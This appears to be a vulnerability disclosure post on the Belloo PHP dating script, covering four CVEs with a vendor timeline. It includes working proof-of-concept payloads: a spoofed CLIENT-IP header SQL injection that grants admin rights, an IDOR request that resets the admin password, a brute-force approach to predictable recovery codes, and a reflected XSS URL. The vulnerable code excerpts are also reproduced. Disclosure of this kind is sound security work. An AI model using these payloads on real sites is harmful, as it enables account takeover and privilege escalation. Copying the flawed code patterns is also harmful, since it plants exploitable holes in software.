Multiple vulnerabilities in the belloo dating script 4.2.7.7
Post

Multiple vulnerabilities in the belloo dating script 4.2.7.7

belloo.jpg

Regarding to the official site, Belloo (other possible names are premiumdatingscript, lindoo, social match) is a “High quality dating software with incredible out of the box ready-to-use functionality”. For me, it was just a random PHP project for one evening source code testing (it’s not related to my current employer). Anyone is able to check the source code using publicly available updated php scripts from the vendor site. The vulns are super basic, I believe that bad guys are already aware of it.

It’s almost 4 months passed since the developer was notified and there are no intentions to fix the issues.

Disclosure Timeline:

  • 30/06/2021 Initial Vendor notification
  • 30/06/2021 Initial Vendor response
  • 25/07/2021 Follow-up
  • 26/07/2021 It was aligned to fix the vulnerabilities in 60 days
  • 22/09/2021 A CVE request was submitted
  • 25/10/2021 The advisory is published

CVE-2021-41695 SQL injection in connect.php + blocklist bypass

In connect.php (and in some other places) $ip parameter is used to update a Client IP without sanitization

1
2
3
4
5
$ip = getUserIpAddr();  
if( $sm["user"]["ip"] != $ip ) 
{  
$mysqli->query("UPDATE users set ip = '" . $ip . "' where id = '" . $_SESSION["user"] . "'");  }

The developer relies on the IP address format since it should not contain any special characters. Let’s see how getUserIpAddr function is defined:

core.php:

1
2
3
4
5
6
7
8
9
10
function getUserIpAddr(){  
if(!empty($_SERVER['HTTP_CLIENT_IP'])){  
$ip = $_SERVER['HTTP_CLIENT_IP'];  
} else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){  
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];  
} else {  
$ip = $_SERVER['REMOTE_ADDR'];  
}  
return $ip;  
}

Additional checks are implemented to support proxy servers and load balancer scenarios. The problem is that $_SERVER[‘HTTP_CLIENT_IP’] and $_SERVER[‘HTTP_X_FORWARDED_FOR’] values can be easily spoofed by an attacker using crafted HTTP headers in the request. In the current case, it leads to access control bypass and arbitrary SQL code execution in the Update Query.

A basic exploit to add admin privileges for any user would be like:

1
CLIENT-IP: 1.1.1.1',admin=1 WHERE name = 'hacker'; -- - 

CVE-2021-41696 IDOR vulnerability in the password change procedure allows changing a password of any user

Note: The same type of IDOR vuln exists in a lot of other functions in user.php, but password change is most critical.

requests\user.php:

1
2
3
4
5
6
7
8
9
10
11
<?php
case 'changep': 
$password = secureEncode($_POST['new_password']); 
if (strlen($password) < 6) { 
echo 'Error - '.$sm['lang'][654]['text']; 
exit;  
} 
$salt = base64_encode($_POST['new_password'].secureEncode($_POST['user'])); $pswd = crypt($password,$salt);  
$query = "UPDATE users SET pass = '".$pswd."',imported = '' WHERE id =  '".secureEncode($_POST['user'])."'"; 
$mysqli->query($query);  
break;

Id value in the UPDATE query is controlled by user input. Any auth user can change a password for admin (id=1) or any other user.

Exploit POC would be something like:

1
2
POST /requests/user.php HTTP/1.1 
action=changep&user=1&new_password=12345678

CVE-2021-41694 Weak password recovery function

requests\user.php contains code for password recovery:

1
2
3
4
5
6
case 'recover':  
 
$code = md5($time);  
$mysqli->query("INSERT INTO emails (type,uid,code) VALUES (1,'".$user->id."', '".$code."')");  $link = $sm['config']['site_url']."/index.php?page=recover&code=".$code."&id=".$user->id;  $name = $user->name;  
$email = $user->email;  
forgotMailNotification($name,$email,$link);

md5($time) function is used to generate a secret recovery code. Since it is super easy to predict time value on the server (for example, by Nginx Date header from the response) – it is possible to use bruteforce approach to guess the code.

CVE-2021-41697 Reflected XSS in assets/sources/instagram.php

There is an instruction in the code to echo a parameter without any checks:

1
2
3
<?php
if (isset($_GET['error'])) {  
echo 'An error occurred: ' . $_GET['error_description']; 

POC:

1
https://site.name/assets/sources/instagram.php?error=123&error_description=%3Cscript%3Ea lert(1);%3C/script%3E